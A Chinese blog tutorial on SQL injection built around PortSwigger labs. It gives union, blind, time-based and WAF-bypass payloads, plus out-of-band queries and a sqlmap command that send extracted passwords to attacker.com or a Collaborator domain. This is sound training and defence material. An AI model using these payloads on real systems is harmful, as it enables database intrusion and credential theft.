燕家猫1. 为什么SQL注入依然是Web安全的核心战场
在2023年的OWASP Top 10中，注入漏洞（包括SQL注入）仍然高居第三位。我最近在PortSwigger Academy上重新刷了一遍所有SQL注入关卡，发现虽然基础注入的防御已经普及，但盲注和带外攻击（OOB）这些进阶技术仍然是许多系统的阿喀琉斯之踵。
上周我参与的一次企业渗透测试中，就通过时间盲注成功获取了客户数据库权限。这让我意识到，很多开发团队只防范了最简单的' OR 1=1--这类攻击，对更隐蔽的注入方式缺乏认知。本文将基于PortSwigger的SQL注入实验环境，带你系统掌握从基础到高阶的全套注入技术。
需要模型API调用？ 免费领10W Token，多模型网关一键接入 Claude、DeepSeek 等主流模型。
2. 实验环境搭建与基础注入
2.1 PortSwigger实验环境配置
PortSwigger Academy的SQL注入实验室提供了20+个渐进式难度的靶场，每个靶场模拟了真实业务场景：
- 商品分类筛选
- 用户登录系统
- 订单查询功能
- 管理员后台等
建议按以下步骤准备环境：
- 注册PortSwigger账号（免费）
- 在"Learning Path"中找到SQL Injection专题
- 从"SQL injection vulnerability in WHERE clause"开始
注意：所有实验都应使用Burp Suite的代理功能拦截请求，这是分析注入点的关键工具。社区版已足够完成这些实验。
2.2 基础联合查询注入实战
以商品分类过滤功能为例，典型注入过程如下：
sql复制-- 原始请求
GET /filter?category=Gifts
-- 探测注入点
GET /filter?category=Gifts'--
-- 确定列数（通过不断递增order by参数）
GET /filter?category=Gifts' ORDER BY 3--
-- 联合查询获取数据库信息
GET /filter?category=Gifts' UNION SELECT null,version(),null--
关键技巧：
- 用
null占位非字符串类型列 - 通过报错信息判断列数据类型
- 信息收集常用函数：
version()：数据库版本database()：当前库名user()：当前用户
3. 盲注技术深度解析
3.1 布尔盲注实战
当页面不返回数据库错误时，布尔盲注是有效手段。以登录功能为例：
sql复制-- 判断管理员密码长度
' AND (SELECT LENGTH(password) FROM users WHERE username='administrator')=20--
使用Burp Intruder进行自动化爆破：
- 拦截包含注入点的请求
- 设置攻击类型为"Cluster bomb"
- 第一个payload设置字符位置（1-20）
- 第二个payload设置ASCII值（32-126）
- 根据响应长度差异判断正确字符
3.2 时间盲注进阶技巧
当布尔判断也失效时，需要引入时间延迟：
sql复制-- MySQL时间盲注模板
' AND IF(SUBSTRING((SELECT password FROM users LIMIT 1),1,1)='a', SLEEP(3), 0)--
不同数据库的延迟函数：
- MySQL：
SLEEP()、BENCHMARK() - PostgreSQL：
pg_sleep() - SQL Server：
WAITFOR DELAY '0:0:3'
实战经验：时间盲注最好配合脚本自动化。推荐使用Python的
requests库+多线程，平均提速5-8倍。
4. 带外攻击(OOB)突破网络隔离
4.1 DNS外带数据原理
当目标存在注入但无法直接回显数据时，可以利用DNS协议外传信息：
sql复制-- Oracle示例
SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT password FROM users WHERE rownum=1)||'.attacker.com/"> %remote;]>'),'/l') FROM dual
4.2 使用Burp Collaborator
PortSwigger提供了集成的OOB检测工具：
- 在Burp中点击"Burp" → "Burp Collaborator client"
- 生成一个Collaborator域名如：
xxxxxx.oastify.com - 在注入点触发DNS查询：
sql复制'||(SELECT LOAD_FILE(CONCAT('\\\\',(SELECT password FROM users LIMIT 1),'.xxxxxx.oastify.com\\test')))-- - 在Collaborator界面查看捕获的数据
5. 高阶绕过与防御措施
5.1 WAF绕过实战技巧
- 大小写混淆：
sql复制' UnIoN SeLeCt 1,2,3-- - 注释符穿插：
sql复制'/**/UNION/**/SELECT/**/1,2,3-- - 等价函数替换：
SUBSTRING→MID/SUBSTRCONCAT→||/+
5.2 开发者防御建议
作为曾负责过金融系统开发的工程师，我总结的防护要点：
- 永远使用参数化查询（PreparedStatement）
- 最小权限原则：应用账号只赋予必要权限
- 输入验证白名单而非黑名单
- 关键错误信息模糊化处理
- 定期使用SQLMap等工具自检
6. 自动化工具与手工测试的结合
6.1 SQLMap高效使用技巧
虽然手工注入是基础，但合理使用工具能提升效率：
bash复制# 基础检测
sqlmap -u "http://target.com/filter?category=Gifts" --batch
# 带外攻击自动化
sqlmap -u "http://target.com/login" --technique=O --dns-domain=attacker.com
重要提醒：永远先获取书面授权再使用自动化工具，某些WAF会因大量请求触发封锁。
6.2 手工测试不可替代的价值
在我参与的某次红队行动中，自动化工具未能发现的漏洞通过手工测试成功利用：
- 发现JSON格式的参数传递
- 通过Content-Type: application/json提交注入载荷
- 需要处理双引号转义问题
- 最终通过
\" OR 1=1--实现注入
这种特定场景的绕过，需要测试者对数据流有深刻理解。